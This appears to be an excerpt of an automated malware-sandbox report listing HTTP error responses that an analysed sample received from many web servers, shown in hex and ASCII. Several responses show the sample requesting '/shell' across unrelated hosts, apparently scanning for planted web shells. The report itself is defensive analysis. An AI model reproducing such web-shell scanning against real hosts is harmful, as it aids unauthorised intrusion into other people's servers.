Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:43 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 02 Jan 2024 05:24:45 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-alivevia: CHN-JSwuxi-GLOBAL2-CACHE96[2]X-CCDN-ERRCODE-SRC: 01X-CCDN-FORBID-CODE: 040001Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 02 Jan 2024 05:24:50 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:51 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Byte-nginxDate: Tue, 02 Jan 2024 05:24:52 GMTContent-Type: application/octet-streamConnection: keep-aliveByte-Error-Code: 0060Content-Length: 24via: cache05.hnpycu01x-request-ip: 212.102.41.2x-tt-trace-tag: id=5x-response-cinfo: 212.102.41.2x-response-cache: missData Raw: 31 32 37 2e 30 2e 30 2e 31 20 63 6f 6e 66 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 127.0.0.1 conf not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:55 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 02 Jan 2024 05:24:55 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-alivevia: CHN-HLhaerbin-SSPcctv4-CACHE5[1]X-CCDN-FORBID-CODE: 040001Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 02 Jan 2024 05:24:55 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-alivevia: CHN-HLhaerbin-SSPcctv4-CACHE8[2]X-CCDN-FORBID-CODE: 040001Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:56 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 02 Jan 2024 05:24:56 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 29 Nov 2023 09:28:52 GMTServer: Apache/2.0.55 (Trustix Secure Linux/Linux)Connection: closeContent-Type: text/html; charset=ISO-8859-1Data Raw: 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 4e 65 74 67 40 74 65 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 0a 20 20 0a 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 33 3b 55 52 4c 3d 27 2f 27 22 3e 0a 20 20 20 20 20 20 0a 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 23 46 46 46 46 46 46 3e 0a 0a 0a 0a 3c 53 43 52 49 50 54 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 65 6e 75 5f 61 72 72 61 79 2e 6a 73 22 20 74 79 70 65 3d 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3e 3c 2f 53 43 52 49 50 54 3e 0a 3c 53 43 52 49 50 54 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 6d 65 6e 75 2e 6a 73 22 20 74 79 70 65 3d 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3e 3c 2f 53 43 52 49 50 54 3e 0a 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 31 35 30 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 5f 74 61 6c 63 2e 6a 70 67 22 3e 3c 2f 74 64 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 2a 3e 3c 2f 74 64 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 31 30 30 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 5f 6e 65 74 67 61 74 65 2e 6a 70 67 22 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 21 2d 2d 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 62 61 72 72 65 66 69 6e 65 2e 6a 70 67 22 3e 3c 2f 64 69 76 2d 2d 3e 0a 0a 0a 0a 20 20 20 20 3c 63 65 6e 74 65 72 3e 3c 70 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 72 65 64 22 3e 43 65 74 74 65 20 70 61 67 65 20 6e 27 65 78 69 73 74 65 20 70 61 73 2e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 56 6f 75 73 20 73 65 72 65 7a 20 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: RomPager/4.07 UPnP/1.0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:24:59 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:59 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:59 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:25:01 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:01 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:25:01 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: awselb/2.0Date: Tue, 02 Jan 2024 05:25:02 GMTContent-Type: text/plain; charset=utf-8Content-Length: 0Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 02 Jan 2024 05:25:04 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 214Connection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 33 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL3</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:25:56 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:11 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:25:12 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
